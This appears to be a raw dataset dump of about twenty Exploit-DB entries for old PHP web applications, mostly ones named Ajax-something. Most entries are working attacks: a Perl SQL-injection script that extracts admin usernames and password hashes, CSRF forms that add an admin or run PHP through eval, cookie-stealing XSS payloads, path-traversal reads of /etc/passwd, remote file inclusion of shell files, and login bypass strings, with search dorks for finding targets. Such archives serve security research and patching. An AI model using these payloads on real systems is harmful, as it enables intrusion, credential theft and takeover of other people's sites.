deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25409
Description: Ajax Availability Calendar 3.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-13
Author: AtT4CKxT3rR0r1ST

Exploit:
Ajax Availability Calendar 3.X.X Multiple Vulnerabilties
==============================================================
 
####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.ajaxavailabilitycalendar.com/
.:. Dork           : intitle:"Ajax Availability Calendar"   ,   inurl:"/ac-admin/index.php"
####################################################################
===[ Exploit ]===

Sql Injection:
==============
#!/usr/bin/perl -w

# Ajax Availability Calendar 3.X.X Remote SQL Injection Vulnerability
# Author      : AtT4CKxT3rR0r1ST  
# Contact     : F.Hack@w.cn
# Script      : http://www.ajaxavailabilitycalendar.com/
# Admin Panel : www.site.com/ac-admin/ 
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|----------------------------------------------------|\n";
print "|          'Ajax Availability Calendar 3.X.X'        |\n";
print "| Coded by   : AtT4CKxT3rR0r1ST                      |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nInsert Target:";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
#Nama Column
$Column="group_concat(username,0x3a,password)";
#Nama Table
$table="bookings_admin_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "?id_item=null and 1=2 union select ".$Column."+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/:(.*):([0-9a-fA-F]{32})/){
print "\n[+] Admin User : $1\n";
}if($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !!\n";

}



else{print "[-] Unable To Get The Information...\n";
}


Reflected XSS:
==============

www.site.com/?id_item='"--></style></script><script>alert(0x000581)</script>


Full Path Disclosure:
====================

www.site.com/ac-includes/common.inc.php


CSRF:
=====
[Add Admin]
-------------

<form method="POST" name="form0" action="http://www.site.com/ac-admin/index.php?page=admin_users&action=new">
<input type="hidden" name="add[username]" value="admin"/>
<input type="hidden" name="password" value="Palestine"/>
<input type="hidden" name="password2" value="Palestine"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #28305
Description: Ajax Chat 0.1 - 'operator_chattranscript.php?chatid' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-07-31
Author: SirDarckCat

Exploit:
source: https://www.securityfocus.com/bid/19238/info

AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit the directory-traversal issue to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

The attacker may also leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect AJAX Chat 0.1; other versions may also be vulnerable.

http://www.server.com/includes/operator_chattranscript.php?chatid=../../../../../../etc/passwd%00
Exploit-DB #35791
Description: Ajax Chat 1.0 - 'ajax-chat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47953/info

Ajax Chat is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Ajax Chat 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ajax-chat/ajax-chat.php?chat_path=%27%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #18075
Description: Ajax File and Image Manager 1.0 Final - Remote Code Execution
Type: webapps
Platform: php
Date: 2011-11-04
Author: EgiX

Exploit:
  --------------------------------------------------------------------------
  Ajax File and Image Manager v1.0 Final Remote Code Execution Vulnerability
  --------------------------------------------------------------------------
  
  author...........: Egidio Romano aka EgiX
  mail.............: n0b0d13s[at]gmail[dot]com
  software link....: http://www.phpletter.com/
  
  
  [-] Vulnerability explanation:
  
  The vulnerable code is located into /ajaxfilemanager/ajax_create_folder.php:
  
  11.	@ob_start();
  12.	displayArray($_POST);
  13.	writeInfo(@ob_get_clean());
  
  this script start the output buffering at line 11 and then call the 'displayArray'
  function that simply displays the $_POST array content with the print_r() function,
  and finally at line 13 is called the 'writeInfo' function using the current buffer
  contents as parameter (that is the $_POST array content). Now look at the 'writeInfo'
  function body defined into /ajaxfilemanager/inc/function.base.php:
  
  228.	function writeInfo($data, $die = false)
  229.	{
  230.	  $fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');
  231.	  @fwrite($fp, $data);
  232.	  @fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );
  233.	  @fclose($fp);
  
  It writes the $data paramater into a file called 'data.php' without any check,
  so an attacker could be able to inject and execute arbitrary PHP code.
  
  
  [-] Disclosure timeline:
  
  [21/10/2011] - Vulnerability discovered
  [24/10/2011] - Issue reported via e-mail
  [25/10/2011] - Vendor replied that a fix will be released in the next version
  [04/11/2011] - Public disclosure
Exploit-DB #4405
Description: Ajax File Browser 3b - 'settings.inc.php?approot' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-14
Author: arfis project

Exploit:
Ajax File Browser 3 Beta Remote File Inclusion
##############################################

                                                found by the "arfis project"
                                                http://arfis.wordpress.com/

Project Info:
-------------
	Name: Ajax File Browser
	Link: http://sourceforge.net/projects/ajaxfb/
	DL:   http://surfnet.dl.sourceforge.net/sourceforge/ajaxfb/afb-3-beta-2007-08-28.zip


Vulnerability Info:
-------------------
	File: _includes/settings.inc.php
	Line: 12
	Code: require_once($approot. _includes/functions_file.inc.php );


Exploit Example:
----------------
	http://localhost/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=http://localhost/r57.txt?


About arfis:
------------
	"arfis" stands for "automated Remote File Inclusion search". It's a perl script
	that automatically download and extract PHP projects from sourceforge.net. It then
	checks the project for RFI vulnerabilities, if found one it post's it to the arfis-
	blog, or database if you want to call it like that. Feel free to come around and
	find your own RFI:
	                   http://arfis.wordpress.com/

# milw0rm.com [2007-09-14]
Exploit-DB #32115
Description: Ajax File Manager - Directory Traversal
Type: webapps
Platform: php
Date: 2014-03-07
Author: Eduardo Alves

Exploit:
# Exploit Title: Ajax File Manager  DirectoryTraversal
# Google Dork: inurl: "plugins/ajaxfilemanager"
# Date: 03/07/2014
# Exploit Author: Eduardo Alves (edudx9)
# Vendor Homepage: phpletter.com
# Software Link: http://phpletter.com/Demo/Ajax-File--Manager/
# Version: [app version - All
# Tested on: Windows/Linux


Ajax File/Image Manager is a l tool  to manager files and images remotely.
Without extra configs, it's possible to list files from another directory.

The vulnerability it's related to "search" function"

In "search_folder" parameter, escape with ../  or  ..%2f

PoF:

http://SERVER/PATH/ajaxfilemanager/ajax_get_file_listing.php?limit=10&view=thumbnail&search=1&search_name=&search_recursively=0&search_mtime_from=&search_mtime_to=&search_folder=../../../../../../../../home/phungv93/public_html/
Exploit-DB #5643
Description: Ajax Framework - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-18
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.eu ]


###############################################################################
 #  [  Ajax framework by www.zapatec.com ]   Local File Include Vulnerability  #

###############################################################################
 #
 # Script site: http://www.zapatec.com/
 # 
 # Vuln: 
 # http://site.com/?lang=../../../../../../../../../../../../../../etc/passwd%00
 #      
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-05-18]
Exploit-DB #44762
Description: Ajax Full Featured Calendar 2.0 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-26
Author: AkkuS

Exploit:
# Exploit Title: Ajax Full Featured Calendar 2.0 - 'search' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ajax-full-featured-calendar-2/10158465
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands from the search section with 'search' parameter.
====================================================
# Demo : http://pauloreg.com/d/affc2/index.php
# PoC : SQLi :

POST /d/affc2/includes/loader.php HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.com/d/affc2/index.php
Content-Length: 11
Cookie: PHPSESSID=pt848bokjvads6c9kvgs1nu973
Connection: keep-alive
search=test

Parameter: search (POST)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: search=test%' AND SLEEP(5) AND '%'='


====================================================
Exploit-DB #9332
Description: Ajax Short URL Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-08-03
Author: Cicklow

Exploit:
[-] Discovered By: Cicklow
[-] Date: 03.08.2009

Exploit:

username: [real_admin_name] ' or ' 1=1
[CREDENTIAL_REDACTED]

note: generally admin name: admin
or any user

Buy Script: http://junglescripts.com/short_urls.php
Admin login Demo: http://href.in/x/login

# milw0rm.com [2009-08-03]
Exploit-DB #39781
Description: Ajaxel CMS 8.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-05-09
Author: DizzyDuck

Exploit:
Ajaxel CMS 8.0 Multiple Vulnerabilities

Vendor: Ajaxel
Product web page: http://www.ajaxel.com
Affected version: 8.0 and below

Summary: Ajaxel CMS is very simple ajaxified CMS and framework
for any project needs.

Desc: Ajaxel CMS version 8.0 and below suffers from multiple
vulnerabilities inlcuding LFI, XSS, SQL injection and remote
code execution via CSRF.

Tested on: Apache 2.4.10
           MySQL 5.5.46

Vendor status:
[13.04.2016] Vulnerabilities discovered.
[14.04.2016] Vendor contacted.
[18.04.2016] Vendor releases patch for version 8.0 to address these issues.
[05.05.2016] Public security advisory released.

Vulnerability discovered by Krzysztof 'DizzyDuck' Kosinski
[dizzyduck_at_zeroscience.mk]


1. Reflected XSS:
-----------------

GET /cmsj9bwp'-alert(1)-'xvjry=mods/ HTTP/1.1
Host: 192.168.10.5

HTTP/1.0 404 Not Found
...
...var Conf={LANG:'en', TPL:'default', DEVICE:'pc', SESSION_LIFETIME:7200,
USER_ID:1, URL_EXT:'', HTTP_EXT:'/', FTP_EXT:'/',
REFERER:'/cmsj9bwp'-alert(1)-'xvjry=mods', VERSION:8.0,
URL_KEY_ADMIN:'cms',...


2. SQL Injection:
-----------------

http://192.168.10.5/cms=mods/tab=ai?mods_ai_tab_ai-submitted=1&f=<SQLi>


3. Local File Disclosure:
-------------------------

http://192.168.10.5/?window&cms=templates&popup=1&file_folder=cms&folder=&file=../../../../../../../../../../../../etc/passwd


4. Cross-Site Request Forgery - RCE PoC:
----------------------------------------

<html>
  <body>
    <form action="http://192.168.10.5/cms=settings_eval_tab/tab=eval/load"
method="POST">
      <input type="hidden" name="data&#91;eval&#93;"
value="phpinfo&#40;&#41;&#59;" />
      <input type="hidden" name="a" value="eval" />
      <input type="hidden"
name="settings&#95;eval&#95;tab&#95;eval&#45;submitted" value="1" />
      <input type="submit" value="Execute" />
    </form>
  </body>
</html>
Exploit-DB #37310
Description: Ajaxmint Gallery 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-05-23
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/53659/info

Ajaxmint Gallery is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and to execute local scripts in the context of the webserver process. This may aid in further attacks.

Ajaxmint Gallery 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/ajaxmint/ajaxmint-gallery/admin/index.php?c=..\..\..\..\ajaxmint-gallery/pictures/5_me.jpg%00 [aka shell]
Exploit-DB #4890
Description: AJchat 0.10 - 'unse' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-11
Author: Eugene Minaev

Exploit:
----[ AJchat Remote Sql Injection using unset() bug ... ITDefence.ru Antichat.ru ]

							AJchat Remote Sql Injection using unset() bug
							Eugene Minaev underwater@itdefence.ru 
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
			
		<?php
		if (isset($_GET["s"])){
		$_GET["s"] = strtoupper($_GET["s"]);
		if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
		// nothing
		}else unset($_GET['s']);
		} 
		?>
		
		As we can see , $_GET['s'] can include only A..Z characters , in other way script unset() it.
		
		calc.exe s
		5861526=1
		5863704=1
		
		directory.php?s='and 1 = 2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-11]
Exploit-DB #45691
Description: AjentiCP 1.2.23.13 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-10-25
Author: Numan OZDEMIR

Exploit:
# Title: AjentiCP 1.2.23.13 - Cross-Site Scripting
# Author: Numan OZDEMIR (https://infinitumit.com.tr)
# Vendor Homepage: ajenti.org
# Software Link: https://github.com/ajenti/ajenti
# Version: Up to v1.2.23.13
# CVE: CVE-2018-18548

# Description:

# Attacker can inject JavaScript codes without Ajenti privileges by this
# vulnerabillity.
# Normally an attacker cant intervene to Ajenti without Ajenti privileges.
# But with this vulnerability, if attacker can create a folder (may be by
# a web app vulnerability) he can run
# bad-purposed JavaScript codes on Ajenti user's browser, while the user
# using File Manager tool.
# So this vulnerability makes high risk.

# How to Reproduce:
1)- Create a directory as named xss payload. Like, im<img src onerror=alert(1337)>dir
2)- Open this directory in File Manager tool in Ajenti server admin panel.
Exploit-DB #9182
Description: AJOX Poll - 'managepoll.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-17
Author: SirGod

Exploit:
###########################################################################################
[+] AJOX Poll Authentication Bypass Vulnerability
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
############################################################################################

[+] Homepage : http://www.joxtechnology.com/view/36/PHP/MySql-AJAX-Poll-script-with-pie-and-bar-graph/

[+] Authentication Bypass

 Go to

   http://127.0.0.1/[path]/admin/managepoll.php

 And administrate the poll.

###########################################################################################

# milw0rm.com [2009-07-17]
Exploit-DB #3752
Description: AjPortal2Php - 'PagePrefix' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-17
Author: Alkomandoz Hacker

Exploit:
#   [ AjPortal2Php]

# Class:     File Include Vulnerability

# Remote:    Yes

# Site: http://www.ajlopez.com/downloads/AjPortal2Php.zip

# Author:    Alkomandoz Hacker

# Contact:   alkomandoz-hacker@hotmail.com

#############################################################

file ;

begin.inc.php
connection.inc.php
events.inc.php
footer.inc.php
header.inc.php
menuleft.inc.php
pages.inc.php


======================================================
Vuln Code

include_once($PagePrefix.'includes/configuration.inc.php');



=======================================================
Exploit :

[AjPortal2Php _path]/includes/begin.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/connection.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/events.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/footer.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/header.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/menuleft.inc.php?PagePrefix=Shell
[AjPortal2Php _path]/includes/pages.inc.php?PagePrefix=Shell



----  Thanx: [HaCk.eGy] [Mahmood_ali] [Dr.aSiEr H@Ck] [ AsB-MaY GrOuPs ] [CiTy Of GhOsTs]

---- GreeTz: All www.Asb-May.Net & WwW.MoHaNdKo.CoM

# milw0rm.com [2007-04-17]
Exploit-DB #7086
Description: AJSquare Free Polling Script - 'DB' Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-10
Author: G4N0K

Exploit:
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\

==============================================================================
	AJSquare Free Polling Script (DB) Multiple Vulnerabilities
==============================================================================

	[Â»] Script:             [ AJSquare Free Polling Script DataBase Version ]
	[Â»] Language:           [ PHP ]
	[Â»] Website:            [ http://www.ajsquare.com/resources/dpoll.php?resource=free_script ]
	[Â»] Type:               [ Free ]
	[Â»] Report-Date:        [ 10.11.2008 ]
	[Â»] Founder:            [ G4N0K <mail.ganok[at]gmail.com> ]


===[ XPL ]===

	[1][!] Blind SQLi (MQ = off)
		[Â»] http://127.0.0.1/[path]/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=5/*		True
		[Â»] http://127.0.0.1/[path]/admin/include/newpoll.php?ques=1%27/**/AND/**/substring(@@version,1,1)=4/*		False
		
		[../admin/include/newpoll.php]
		
			<?php
			require 'connect.php';
			$ques = $_GET[ques];
			$total = $_GET[total];
			for($i=1;$i<=$total;$i++)
				{
					$val[] = array($_GET["val".$i]);
				}

			$sqlnew = "select * from newpoll where question='$ques'";
			$resnew = mysql_query($sqlnew);
			
		[../admin/include/newpoll.php]
	
	
	

	[2][!] Reset Votes - Just call resetvote.php ;)
		[Â»] http://127.0.0.1/[path]/admin/resetvote.php


	
	
===[ Greetz ]===

	[Â»] ALLAH
	[Â»] Tornado2800 <Tornado2800[at]gmail.com>
	[Â»] Hussain-X <darkangel_g85[at]yahoo.com>

	//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
	//ALLAH,forgimme...

===============================================================================
exit();
===============================================================================

# milw0rm.com [2008-11-10]
Exploit-DB #2315
Description: Akarru 0.4.3.34 - 'bm_content' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-06
Author: ddoshomo

Exploit:
# ERNE ---- ERNEAL&#304;ZM ---- BU ASK BiTMEZ----
 
# Akarru v0.4.3.34 - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=2006
 
# Script  :  Akarru v0.4.3.34
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : B0tan, FearLesS, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/akarru.gui/main_content.php?bm_content=[shell]

# milw0rm.com [2006-09-06]